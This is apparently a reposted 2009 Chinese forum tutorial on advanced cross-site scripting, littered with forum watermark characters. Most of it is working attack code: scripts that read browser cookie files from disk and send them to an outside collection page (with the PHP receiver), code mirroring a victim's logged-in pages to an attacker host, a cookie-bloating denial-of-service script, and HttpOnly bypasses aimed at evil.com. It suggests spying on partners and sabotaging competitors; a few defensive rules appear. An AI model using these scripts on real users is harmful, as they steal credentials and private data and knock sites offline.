XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 [+ ]% B9 b5 N( r/ S0 D  A本帖最后由 racle 于 2009-5-30 09:19 编辑
6 }7 \. f: x; z) h
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
4 P* I. |" A/ o( U$ H9 a7 {http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

1 N: A0 W9 J# w& K: h2 Y) o

0 Q: a6 {* l; M& u# S/ v) F-------------------------------------------前言---------------------------------------------------------

) ^3 {* g. h3 ]( n! B
5 N5 g* U# m' f# U+ `' o( R本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

7 g  m% q: \7 R- j
# a$ L4 j$ P- g+ _9 W! d如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持




如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
9 b0 I7 S1 [) c! @) Y$ L4 {
: B0 ^5 h4 H( b8 W$ Y3 s希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
0 K7 K3 S3 d' v/ [# I5 v
+ m( D9 v. X! G6 o. S2 ^0 T如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
& i5 R* C4 p% Q9 l0 n. b9 m* n
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

: E, \6 {, e5 M2 J0 K, O' SQQ ZONE,校内网XSS     感染过万QQ ZONE.
& t# k& L/ W& k
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
8 ]: c+ h4 z2 c  U+ k1 @5 ?复制代码------------------------------------------介绍-------------------------------------------------------------
6 @# Q9 D+ Z% Z& c9 ^+ L! V9 I
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


  a) J9 `9 {" C* U8 s8 d
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
) L) l& s# {2 O' E- n  |' B/ A
* l, g8 ^2 a6 s! H5 k- U( e7 a7 k( w

! ^! [/ O- `/ ~如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
3 ?" E" |0 n9 T5 W1 _, L
5 X  I! [, m- C% S3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
6 X9 w8 O/ U( e! ], a
4        XSS漏洞在输出和输入两个方面怎么才能避免.
$ ]* T  w4 x% F& Z" [8 B0 X+ }$ y


4 G! i, C4 u2 V' G------------------------------------------研究正题----------------------------------------------------------

0 v3 r2 c+ m8 f
% d7 i9 ?7 I' z
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
2 z% _2 r" X. w# B) B- _复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
3 K# {; ]9 {* w. {4 [( r复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1 P) P3 R8 l/ y) J, y$ _# `1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
3 s( O+ u2 P! k' h( m" _$ }5 Z2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.



8 e! }; J6 r! M; z
9 E4 `- m+ v- t
, t% X2 \: \* ~2 h- Y/ ](I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
' ]7 a$ q- M. {8 m6 S# K0 o
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
. }) m' {! x* R, _

  k  Z$ D& b+ d$ N6 t6 C
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
* w$ w' y6 r( a

" O" ?$ Z1 S  M) w$ v( V- e0 J# d
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
8 f8 L% p5 h; o/ G" H3 E

6 O) z& f1 {9 m+ o# q! t2 B+ U4 `
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
& ~1 k  O3 R  o
( b; v4 V  f" ^7 n    function $(x){return document.getElementById(x)}


9 r8 z6 f0 p9 }2 {, e, v
% S; @% t1 a; l! |    function ajax_obj(){
9 j. i* D7 B% L% _; V- w3 K" M) M& _
    var request = false;
) ~* e  U, g* q4 T" D" b8 i) \
5 ?9 Z2 H' A. H9 a; M# E    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
% ^+ o; G- V% M* }$ a
8 F' y8 o4 g$ E* V* C9 O9 D& J! t    } else if(window.ActiveXObject) {
( y8 e" P5 d8 A$ o5 p
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
, f+ L& Q4 n8 G  ?; ~


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

* _: B( G7 c  X; q) F: ]    for(var i=0; i<versions.length; i++) {

    try {
- s" }: `% e6 A
    request = new ActiveXObject(versions);
( L! v, p. u' e1 }5 Y5 D; }! V6 f' k
    } catch(e) {}
- _& i2 F7 F* d1 G
- |! G0 G7 O, z* E( j6 H( s2 {5 U    }
5 D, W! f8 l/ G9 A3 t6 }
    }
+ j! }- J" |0 i9 T4 R" T* b3 X
    return request;
$ w% q, R9 T  J8 P( X* }1 f
    }

  |' }( u4 j8 a( P2 `    var _x = ajax_obj();
# o  p1 x  K- F
$ S" }7 }' Z: z9 J- @) _. p    function _7or3(_m,action,argv){
$ R; W6 N9 U* @. B- \
0 n+ G8 }) W6 M. |* q    _x.open(_m,action,false);
- A! v" H7 y5 N+ R5 d& G
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

5 V5 h& I. D9 E/ ~5 n    _x.send(argv);

! z& d( z/ R+ _4 Y8 k; B1 b    return _x.responseText;

    }
* U) `: `2 l0 ]; q

% {1 C+ g& F0 @4 w% p5 G5 _
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
1 {1 i( \) v+ }$ s" f0 U6 w
    alert(txt);

8 m3 O2 B8 Y1 i! M  B* |" y
. g+ p/ J2 R$ o! u" P) b5 K
    </script>
: S( F2 G0 ^# o* C7 O复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
; T: Z- T& s% d1 s2 C& i3 J5 Y- p
- m! ^( ?+ c5 W8 F  u: r, s, ]7 R9 B

    function ajax_obj(){

! U! D1 [: y, b0 s4 u4 Q    var request = false;

    if(window.XMLHttpRequest) {
5 H5 p" @8 r% s
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
9 i1 X! Q, e7 A' @
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, g; M4 |. ^4 |3 H# P" ?1 g
    for(var i=0; i<versions.length; i++) {

1 @8 v; C/ |' @; B    try {
1 H- c5 T, p' H* D
    request = new ActiveXObject(versions);

    } catch(e) {}

    }
* h! e- ]) ~  U6 {1 a9 I/ c1 h( V3 n
- |1 u0 y- w3 }3 Y8 f/ T3 R    }
+ N( G( d0 ^  l6 H* H
( q! f1 T6 j5 [! u    return request;

    }
# v3 U0 p% G: ?
* }& l  P3 I9 Q: a    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
6 G! A/ j7 g7 Y% G, |# H
    _x.send(argv);

    return _x.responseText;
7 x  z2 k( j5 {5 H" W& N
% L6 a3 x' D: o( N    }

) J5 K- o: z% _/ T" w/ y" u, D2 \9 x

    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
% \- [6 m( ^3 U! H9 c: R8 N. }& }& i


4 i' ~) E2 W3 Y. _. I    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

, O1 {: ]9 {- z

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
1 C- q, }' p; K' ?+ r1 t8 W
% c) f& i2 P2 }( [" U
/ a& g; ~7 h7 [7 q  x, ]  Q  b
<?   
: H+ U9 X6 J( K
0 Z: ?& h' U# X5 u0 v" M: P8 _/*  
9 d8 a, t2 Q1 x& F
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
2 B5 E) k. e- i* A8 M/ L1 @! L" Z
     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

2 p4 w+ \' j3 K2 `     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
! ]6 \( J- i* o
8 i# S8 ]) L* L9 \4 o' K$ M* N8 z*/  
9 b; V4 q: N. e* r: u
, o9 M# s: _6 m/ f  Z# fheader("Content-Disposition: attachment;filename=kxlzx.htm");   
, \2 ^3 v  K" f
header("Content-type: application/kxlzx");   

/*  
) \- |: Z* Z+ ]2 s, m
     set header, so just download html file,and open it at local.  

*/  

' y  w7 K% |" R' R/ X( E( l- ??>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

. h: @) B3 T( |$ I     <input id="input" name="cookie" value="" type="hidden">   

</form>   
) [& X0 J, y5 F5 K
<script>   

function doMyAjax(user)   

{   
, w9 j7 c; [+ ]
, S0 |6 U! Z' t+ x( Nvar time = Math.random();   
! n; L- d) H) P+ _$ X' c( W
% I; b% N, q1 ^0 V- Q0 _/*  

3 }+ R- t: v; j9 r/ ^" P9 Ythe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
6 P' [' k6 c% l5 M# W
6 Z" k# f5 t" `. Band the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

*/  

% s: m3 Z; Z& L6 N' v1 p1 {var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
' w9 u" y* d8 I
4 b+ r: Y5 I) @2 [1 T$ t6 k' \- c   

startRequest(strPer);   

, K. O5 N* w( V( T& `% Y

}   
- \6 E  |% p  `( b/ Z3 w
: H% [5 {7 e9 K7 z' N" H" ]+ N   
$ q; C4 j- W# ^9 D/ f% ]
function Enshellcode(txt)   
4 r4 Y3 c) _2 }8 m
{   

' T: @. w$ f3 E# z5 a4 ?2 avar url=new String(txt);   

" W5 q: C: a% n2 k' \6 l: _- Q8 vvar i=0,l=0,k=0,curl="";   
$ C9 B; ~. F" t- r
l= url.length;   

/ A; h- x" A# m, o5 A- jfor(;i<l;i++){   

k=url.charCodeAt(i);   

  C5 A8 |. ]# ~3 X& ?5 p. |6 ?if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
* ~1 H  N$ ]& ?& X& @& ]
if (l%2){curl+="00";}else{curl+="0000";}   
1 [' c% ?: G! U" E/ p' \+ Q0 U  f
; ?% u" @7 c& H: i% Q; hcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

1 c. d" p: p& freturn curl;   

* `; h+ j* }" w. K+ r1 j( B6 ]# l}   
% R9 n# U* {( |7 o
4 t, M6 M- R0 |, M* K' m1 }- P   

   
% t9 R+ Y- u: _
) O0 N+ y  _% v5 S$ z4 J. j* r% }8 P9 rvar xmlHttp;   

& v8 }- H0 L4 b* @% {6 Mfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
1 b. L& s7 K. t
     }   

     else if(window.ActiveXObject){   

3 l( W. B2 l; }: ExmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
- \, n! f. |* J0 v
     }   

}   
1 B1 i. Z" T6 Y: V/ T  r
   
* s8 N( j# k8 l" c2 N/ D
) @; v3 f, Q% O5 pfunction startRequest(doUrl){   
: a$ ]4 [, W" X6 O5 R# w) h
   
. d& e* B* J) b8 {) i! ~1 P" F# d, D
8 Q" l7 F) d0 F     createXMLHttp();   

% i2 y9 N- [: h' V
* F6 b% v9 h9 ?# ?% U; C' l
     xmlHttp.onreadystatechange = handleStateChange;   


9 n6 M0 e4 \8 C+ A6 G' u
     xmlHttp.open("GET", doUrl, true);   
) T0 d8 f; p. j+ f
/ J* {4 n! c( Z# ^* y6 l

     xmlHttp.send(null);   
3 J% b8 G: P; R* q

; ~+ E" Z3 X$ T  \9 E

/ D2 ?* G" H5 m3 N5 `; T9 Z) K
}   
1 `" M- ]( ^( V) f' [
3 e) g3 K7 J) x6 p9 ^9 ~& H$ Q   
7 Y5 {9 N2 b/ N, p, @" h
function handleStateChange(){   
( h6 U# U  o- t+ `
( x! u: ]: ^# }     if (xmlHttp.readyState == 4 ){   

( H6 y" y0 ]& v0 a) P2 R     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

     }   
( ?  E4 t8 @7 q( l! ]; [
}   
; _  x: B$ P- o1 B/ i
   

' u( ^+ x0 |! O: y8 D   

; P# ~; `9 {% U0 l6 w+ l+ u$ `, \7 ffunction framekxlzxPost(text)   
+ X4 T% J2 N( f" f9 d* S. S
{   

$ r* t; ^8 R. h5 X  F. z4 U/ I     document.getElementById("input").value = Enshellcode(text);   
+ ^7 {! \7 s3 z8 P1 z0 n: C" g+ D
/ t) p/ E5 m8 b* G     document.getElementById("form").submit();   

}   

' z8 m% X% i' b* m0 |   

  p( H3 e' [8 l5 ?6 o; m6 j  `doMyAjax("administrator");   

   

8 P$ p3 q% b3 V0 i</script>
. b5 S/ \8 m& R2 @, P: Z复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
+ Y2 r; g' X. F: K4 Y
var xmlHttp;  
4 d: Q  o9 W( R$ Q+ {- ]* D( q% d
0 M* S. L% v  G0 t* v# Z4 hfunction createXMLHttp(){  

     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

     }  
- g/ B, W2 F( ]# _6 G
     else if(window.ActiveXObject){  

6 q% D" I; _% @         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  
6 G, b6 l7 x/ A4 {- E" f
1 V% |. i+ g) d6 s}  
7 c' q# z# r( H5 t/ l
   
: a  g5 T, i' e9 x- Q7 b7 m
/ e: o1 [* D! ?  ~1 L$ F/ X' l6 gfunction startRequest(doUrl){  

# Q; ]' {" T7 @5 @" v6 _           

     createXMLHttp();  

; D3 Y3 d7 t( c1 j# Z      

& u3 k2 S, O. q- g! r     xmlHttp.onreadystatechange = handleStateChange;  

) X5 P3 d+ |9 F9 b# [      

     xmlHttp.open("GET", doUrl, true);  

7 L( q- R4 H" J5 R' `3 c      

     xmlHttp.send(null);  
0 t) G5 [" G+ @. K6 K
) Z% [3 x; ?% Z$ F: _      

, h! G4 C$ _; J& V/ k      

+ X+ N" j3 `/ r: T4 a( V9 [' n}   
9 S- l; |9 Q  B
3 Y4 o9 Q! ?2 w+ O; M- C   
0 o) y9 v4 i7 g
  ]" [! `$ Q0 Q9 Y; ffunction handleStateChange(){  
3 }3 r7 f# r# ^4 `' n/ V
* L- m& v) i4 t* {& c' X, o     if (xmlHttp.readyState == 4 ){  

, l3 s. [& l* ^9 [2 p5 `4 N" R$ x             var strResponse = "";  
( ?9 U; V! {- w2 g" [" `1 f
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
! g4 F# [; _+ A8 @! |( g
. ]% z7 R! z# ^- v/ v+ z$ @. C) N               
7 f% @- \4 ~- Q# \0 {( V
     }  
0 u) ?6 k' u. k5 \* v
  G& X* A; p6 {1 P}  

   

function doMyAjax(user,file)  

{  
8 L2 s9 K7 w% ^4 ^$ [
         var time = Math.random();  

5 _# g9 U8 W7 W1 C           
0 l" x2 S7 ~. `# u  [
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

& m7 D8 }: t9 `         startRequest(strPer);  

      
. A3 C- \) A( R
}  

. W3 G# y- r% O8 l   
7 U" Q3 `/ ]# I: q% v2 x7 ^- Y* [
function framekxlzxPost(text)  

+ E. x* \/ W; m5 g: F+ C{  

/ K6 b  k3 O1 l" ?     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
# H* w! r# h7 R. o4 |
}  

   

doMyAjax('administrator','administrator@alibaba[1].txt');  
+ R3 a+ ?9 t# z# R4 o
! q' ^. a4 l4 F8 E   

& l* i! W, l3 G3 K</script>
1 ~& Q- v; q9 g9 L- G: t  b
, ^+ \2 @' _: }/ I
5 x7 P, A6 b' g
; E6 ?& C+ Z$ O' I, P( R" N
+ K/ n" u2 d, K* X
a.php

' A0 S9 U4 p! |1 `

# _6 H& K$ S  e<?php      

" K  F" n6 h* z0 e4 w1 k9 U   
6 T* c* a, ?4 t6 ~' R' y
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
3 ~: s0 T- l; C3 W# B6 o: p
! @4 g: d2 [2 w5 s$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
- @1 K  V$ k3 S* K* }/ |
9 D8 h* O+ p# ?* k  
0 y9 a9 f, o+ p  m% j. \( i  X
9 [$ @) O: s4 }) Z$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
- }4 K. Y5 {) Y) j  h% k3 Q
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

?>
3 n5 g* t% ~2 `) y/ j复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

2 I! q# \+ B; Z$ c% B3 ^或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
, t0 I  j/ ^8 q. U利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
+ c0 b. u! a3 V7 y, [$ H& X
, U; {- ~! c/ x1 @: ^9 q* H代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
& {1 M" _# Y7 x
3 F1 A' M1 Q* d& J. t- W//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

: p0 K0 P5 E, x& M3 o3 }: Evar image = new Image();

2 P' e+ \% h+ D8 zimage.style.width = 0;
# g  h, l" i7 E. x
image.style.height = 0;

: u/ k4 ~& x% r+ yimage.src = s;
/ O& k2 R5 O: d) T. g
}
8 q9 Q9 h9 W1 m$ M: E  k+ W
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
7 k0 i: ]  `; ]0 F复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
4 g5 w9 Z% L4 P0 V1 [9 q( }这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
  G5 h* _0 t/ q4 f* H# `
; a7 K; a5 p( B( f2 o( p+ Svar str = "";

6 i+ {/ ^% ^4 [3 Z: zwhile (str.length < 4000){

    str += metastr;
$ `& M8 \2 o% D: i; w& h
}
( L. ?, i1 r% ]
* `' i1 |, `4 k2 q+ j& r5 R  l- w

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

6 U! K4 ^4 V  x9 [2 T6 L</script>
& _. {' i, [/ ]' C6 I: s. q5 W
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
: \0 o, {) O" ~! [4 _) L攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
/ T% ]+ l% ^1 F! F9 h! C% w
( `0 J6 r1 C5 n8 z; ?$ w. O


) Z6 q) {2 M* R9 k9 z9 y

(III) Http only bypass 与 补救对策:

# A  u: M9 U) ^, C* S: V什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
/ q8 V, `/ V9 p
  ^+ O. T5 g& M+ ^<!--

function normalCookie() {

' B& |8 E" O3 jdocument.cookie = "TheCookieName=CookieValue_httpOnly";
; O8 D9 P; F% L2 w9 M, c
  X% S1 W! z, C; H3 _alert(document.cookie);
/ n, K: i, n+ G! m0 d2 \  g
}
( D; ^5 C- P# b* N  x6 r% [
; u* ~; Q  }' \: G


  I/ _& o8 N, r
; p- i; W1 f6 ~$ d9 e+ ]0 A8 yfunction httpOnlyCookie() {
  [( p7 {& ?- |* j3 v7 N5 a  Y
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}

- v- n# R+ m6 {2 V* F
: [. R* G2 u6 {# j" e
//-->
$ L/ N" L. I# L5 W7 j
9 J) Y. w, g6 [% l</script>
0 W; z0 a5 k$ b


<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
( k5 ~. P8 P4 l& P
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
, n" N* o% p8 Z  F6 i: s6 s复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
$ B9 k  h% |) T
; q$ O8 C9 G/ @2 K" X1 e
; k5 U  Y$ g+ [; C! }, I+ {
. Z" W7 w& U) {var request = false;

& \/ t' M: Q+ R) a& s& n* B        if(window.XMLHttpRequest) {
! |4 w& b0 ~( g4 h
            request = new XMLHttpRequest();
6 Z- x' @% n1 p( T' I$ L
            if(request.overrideMimeType) {

+ U- D4 E( h- F, g- P+ l                request.overrideMimeType('text/xml');
/ Q; Y( B4 M" i# v: b" u0 N4 o
  O! F& e7 N  x% W0 V% s            }
9 R' [) N$ n* g5 W
' {( w. d- @9 T; {1 C9 m/ j        } else if(window.ActiveXObject) {
1 u1 L  {5 ?" Q  G4 i: t% r  s7 |5 n
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ t& ^% t  W4 Q0 x3 p5 h
/ T7 V  k( G: N% l8 E            for(var i=0; i<versions.length; i++) {

                try {

# v& P' T- v" C: n2 K# H' O                    request = new ActiveXObject(versions);

2 h& k( V0 k! B1 k8 z' t                } catch(e) {}

            }

& [0 \5 i% L) ~9 t  m3 x        }
9 e$ n* _8 q9 t% E
xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

" `# M. r+ e5 }+ C% rxmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

  V# h9 o( V; p* f1 g; ?) I</script>
& C% D) r9 P% H; i' [0 l% d复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
3 x2 z- F. B4 O7 x- s2 L8 B3 k
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
8 a% B2 i6 A; h) h
/ E0 A' B& P3 G; Q. y: PXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

- y  X( S2 N# t/ KXmlHttp.send(null);

5 C$ P; u4 {, @6 r7 L/ r, v+ _  ~var resource=xmlHttp.responseText
: d2 {$ ?5 a4 F4 h5 Z; e
# k' J3 {; O" k& a6 Y9 ]; qresource.search(/cookies/);
0 D, w( c2 @- O0 \1 B. f
......................
  D7 ^( }3 g5 z( j+ `
3 z0 U" ]% e6 d3 O; c4 ]8 f$ w</script>


) s/ D: {/ `1 X, e: x

: S7 p, z/ N0 n# s4 W0 K
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

, C: m, A6 j6 N6 s0 q& p2 A, U[code]
9 R. N: t9 x6 K8 T/ K. X
8 y* O% i) A4 D5 ~7 E& P! o  J0 JRewriteEngine On
" c: B8 ?1 b9 F& [
RewriteCond %{REQUEST_METHOD} ^TRACE
( g0 D# ^# `3 c4 U/ a. _% M
RewriteRule .* - [F]

; Z5 K% Z% w/ S' n
4 i% g8 ]  E& B, ?& z2 r7 R
3 x0 Y4 G% J2 y6 Y: F! K. a0 NSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
" K! Q0 s' q3 T( B) W! h7 i
acl TRACE method TRACE
3 {+ L; I9 ]8 r) I6 H. o; k
...
) `; l* N& Z7 i: s3 N2 x5 k
http_access deny TRACE
# }7 Q  E; d0 p/ k. }复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
) |9 Q2 V$ I$ I  H( y
$ h- V2 o( c; f8 [var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
; J6 P4 q3 T: G5 f& R  h9 L: I7 s
0 v: U; d+ l# ?$ o# J3 n' e3 oXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
  U0 D* D( L5 y$ l6 k/ y! u
8 x' M9 _& {& S) y5 s7 `: FXmlHttp.send(null);
) q8 ^" N! I! h/ S  o
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% F& }1 n4 B/ T- x$ q


6 U) p0 h; U& q7 SXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
; z1 _2 L8 r) G" r: ~/ L+ W2 F
* X( V% w- e3 \# i3 [XmlHttp.send(null);

- ?  L( p+ D* Y- D& c<script>
